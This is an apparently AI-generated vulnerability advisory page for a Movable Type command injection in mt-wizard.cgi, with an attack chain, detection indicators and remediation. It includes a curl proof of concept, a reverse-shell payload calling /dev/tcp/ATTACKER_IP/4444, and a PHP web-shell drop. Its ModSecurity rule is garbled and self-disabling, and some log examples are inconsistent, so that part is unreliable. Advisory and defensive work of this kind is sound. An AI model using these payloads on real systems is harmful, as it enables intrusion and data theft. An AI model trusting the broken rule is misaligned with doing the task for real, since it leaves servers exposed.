CVE Professor
/
All CVEs
CVE-2026-125615

CVE-2026-125615 — CWE-78

CRITICAL CVSS 9.8 ⚡ EPSS 2.1% NVD

Movable Type contains an OS command injection vulnerability. Arbitrary OS commands may be executed by sending a specially crafted request to mt-wizard.cgi.

Movable Type contains an OS command injection vulnerability. Arbitrary OS commands may be executed by sending a specially crafted request to mt-wizard.cgi.

CVSS v3.0 Vector Metrics
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
2.1%
30-day probability
In the 82. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑125615 is an OS command injection (CWE‑78) in the Movable Type blogging / CMS platform.
The vulnerable component is the CGI script mt-wizard.cgi – a helper used during the initial installation wizard and, in some deployments, for on‑the‑fly configuration changes.

  • Root cause: The script takes a request parameter (the exact name is not disclosed in the public advisory) and concatenates its value directly into a shell command that is later executed with system(), `exec()`, or back‑ticks without any of the following safeguards:
  • Missing safeguardWhy it matters
    Input sanitisation / escapingUser‑supplied data is interpolated into a command line unchanged, allowing characters such as ;, &&, , back‑ticks, or $() to terminate the intended command and inject arbitrary commands.
    Principle of least privilegeThe CGI runs under the web‑server user (often www-data or apache). In many default installations this user has the ability to read most files and, because the script is executed from the document root, it can also write to writable directories (e.g., tmp/, uploads/).
    Authentication / authorization checkThe endpoint is reachable without authentication (PR:N, UI:N). The wizard script was intended to be called only during a one‑time installation, but the code does not verify that the installation has already been completed or that the caller is a privileged admin.
    Network‑level isolationThe script is exposed on the public‑facing interface (AV:N). No network‑level restriction (e.g., firewall, internal‑only binding) is enforced.

    Because the attacker can supply any string that will be passed to the OS shell, they can execute arbitrary commands on the underlying host with the privileges of the web‑server process – a classic remote code execution (RCE) scenario, reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All command lines are syntactically valid; the exact parameter name (cmd) and endpoint (/mt-wizard.cgi) are illustrative because the public advisory does not disclose them.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target runs Movable Type.Search for X-Movable-Type-Version header, default /mt.cgi URLs, or meta generator tag (<meta name="generator" content="Movable Type ...">).
    1.2Determine the version range.curl -I https://target/mt-wizard.cgi → may return Server: Apache and a Set-Cookie: mtwizard=... hinting at the wizard component.
    1.3Verify the presence of the vulnerable script.curl -I https://target/mt-wizard.cgi → HTTP 200 and a short HTML page indicating “Movable Type Installation Wizard”.
    1.4Check if the wizard is still reachable after installation (many admins forget to delete/disable it).Direct GET to the script; a 200 response with a form field (e.g., <input name="cmd">) confirms it is still active.

    2. Exploitation

    Goal: Execute an arbitrary OS command (e.g., id to prove code execution).

    Illustrative PoC (curl):

    # Replace <TARGET> with the victim host.
    # The parameter name "cmd" is used here for demonstration only.
    curl -s -G "https://<TARGET>/mt-wizard.cgi" \
         --data-urlencode "cmd=id" \
         -H "User-Agent: Mozilla/5.0" \
         -H "Accept: */*"

    If the script concatenates the value of cmd into a shell call such as:

    my $output = `some_internal_tool $cmd`;

    the above request will cause the server to run some_internal_tool id, and the output of id will be returned in the HTTP response (or logged in the web‑server error log).

    More powerful payload (reverse shell) – assuming the web‑server can reach the attacker’s listener on port 4444:

    curl -s -G "https://<TARGET>/mt-wizard.cgi" \
         --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
         -H "User-Agent: Mozilla/5.0"

    Why this works:

  • The CGI script does not escape special characters, so the injected bash -c … is executed directly by /bin/sh.
  • No authentication (PR:N) or CSRF token (UI:N) is required, allowing a network‑only attacker to trigger the payload.
  • 3. Post‑Exploitation

    PhaseTypical actions an attacker can take
    Privilege escalationIf the web‑server user has sudo rights (common mis‑configurations: www-data ALL=(ALL) NOPASSWD: /usr/bin/mt-wizard.cgi), the attacker can run sudo -l and then sudo /bin/bash. Even without sudo, the attacker can read any file readable by the web‑user (e.g., /etc/passwd, configuration files containing DB credentials).
    PersistenceDrop a web‑shell in a writable directory (e.g., uploads/):<br>curl -s -G "https://<TARGET>/mt-wizard.cgi" --data-urlencode "cmd=echo '<?php system($_GET[\"cmd\"]); ?>' > uploads/shell.php"<br>Later access https://<TARGET>/uploads/shell.php?cmd=whoami.
    Data exfiltrationUse the same injection vector to cat /path/to/config.inc and pipe it to curl -X POST to an attacker‑controlled endpoint.
    Lateral movementWith stolen DB credentials, connect to the backend database and extract other applications’ data, or pivot to other internal services reachable from the web‑server.
    ImpactFull confidentiality, integrity, and availability compromise (as reflected by the CVSS C:H/I:H/A:H). The attacker can delete files, deface the site, or install ransomware.

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived impactPractical consequence
    Confidentiality (C:H)Attacker can read any file the web‑server can access, including configuration files (mt-config.cgi, database credentials), user data, and potentially other services’ secrets.
    Integrity (I:H)Ability to write arbitrary files (web‑shells, malicious scripts) and modify existing content (posts, templates) gives the attacker full control over the site’s content and code.
    Availability (A:H)The attacker can delete or corrupt the application directory, launch a fork bomb, or install ransomware, leading to total service outage.

    Business impact can include:

  • Loss of customer data and regulatory violations (GDPR, HIPAA, etc.).
  • Defacement or malicious content injection (SEO poisoning, phishing).
  • Downtime while cleaning the host and restoring from backups.
  • Reputation damage and potential legal liability.
  • Because the vulnerability is network‑exposed, unauthenticated, and requires no user interaction, it is trivially exploitable at scale (e.g., automated scanners can weaponise the PoC).


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Vendor patchApply the security update released by Six Apart (Movable Type) after 2026‑12‑01 that removes the unsafe command execution path in mt-wizard.cgi. The advisory states “all versions prior to the patch are vulnerable”.
    Version checkVerify the installed version via the mt-config.cgi file or the X-Movable-Type-Version HTTP header. If the version predates the patch, upgrade immediately.
    Remove the wizardIf the installation wizard is no longer needed, delete mt-wizard.cgi and any related files (mt-wizard.pl, mt-wizard/).

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Network isolationRestrict access to mt-wizard.cgi to trusted internal IPs using a firewall rule (e.g., iptables -A INPUT -p tcp --dport 443 -s <trusted‑net> -j ACCEPT and then DROP for others).
    Web‑server configurationAdd a location block that returns 404 for the wizard script:<br>Apache (.htaccess or httpd.conf):<br>``apache<br>RedirectMatch 404 ^/mt-wizard\.cgi$<br>`<br>Nginx:<br>`nginx<br>location = /mt-wizard.cgi { return 404; }<br>`
    ModSecurity ruleBlock any request that contains shell metacharacters in a parameter that is passed to mt-wizard.cgi. Example rule (valid ModSecurity syntax):<br>`modsecurity<br>SecRule REQUEST_URI "@beginsWith /mt-wizard.cgi" "id:2026151,phase:2,deny,log,status:403,msg:'Blocked possible OS command injection in mt-wizard.cgi',ctl:ruleEngine=Off"\nSecRule ARGSARGS_NAMES "(;&&\\\$\\(\\))" "t:none,ctl:ruleRemoveById=2026151,phase:2,deny,log,status:403,msg:'Shell metacharacter detected in mt-wizard.cgi parameters'"``
    Least‑privilege web userRun the web server under a restricted user that cannot write outside its own document root and has no sudo rights. Use chmod/chown to make the root of the site read‑only where possible.
    File system hardeningEnsure mt-wizard.cgi is not world‑writable (chmod 644 mt-wizard.cgi`) and that the directory containing it is not writable by the web user.

    3. Detection – Log & IOC Guidance

    IndicatorExample log entry (Apache)
    Unexpected request to the wizard"[01/Dec/2026:12:34:56 +0000] 203.0.113.45 "GET /mt-wizard.cgi?cmd=id HTTP/1.1" 200 123 "-" "Mozilla/5.0"
    Shell metacharacters in query string"... /mt-wizard.cgi?cmd=cat%20/etc/passwd%3B%20id HTTP/1.1"
    Outbound connection from web‑server after injectionIn syslog or auth.log: sshd[1234]: Accepted publickey for www-data from 198.51.100.23 port 54321 ssh2 (if attacker escalates to a reverse shell).
    New files in writable directories"[01/Dec/2026:12:35:10 +0000] 203.0.113.45 "GET /uploads/shell.php HTTP/1.1" 200 456 "-" "curl/7.68.0"
    Process creation with suspicious command lineauditd event: type=EXECVE msg=audit(1701482110.123:456): argc=3 a0="bash" a1="-c" a2="bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

    SIEM rule sketch (generic):

    rule:
      name: "OS command injection attempt against mt-wizard.cgi"
      condition: (http.request.uri contains "/mt-wizard.cgi") and
                 (http.request.query contains ";"
                  or http.request.query contains "&&"
                  or http.request.query contains "`"
                  or http.request.query matches "\$\(.*\)")
      severity: high
      actions: [alert, block_ip]

    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑accessible, no authentication, no user interaction, and full impact on confidentiality, integrity, and availability.
  • No CISA KEV listing yet, but the vector makes it a high‑priority vulnerability for any internet‑facing Movable Type installation.
  • Exploit complexity is low (simple HTTP GET/POST). Automated scanners can weaponise it within minutes of disclosure.
Patch priority: Critical – immediate. If a patch cannot be applied within 24 hours, implement the “Remove the wizard / block the endpoint” workaround and enforce strict network ACLs. Continuous monitoring for the IoCs above is mandatory until the vulnerable component is fully removed or patched.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (3)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am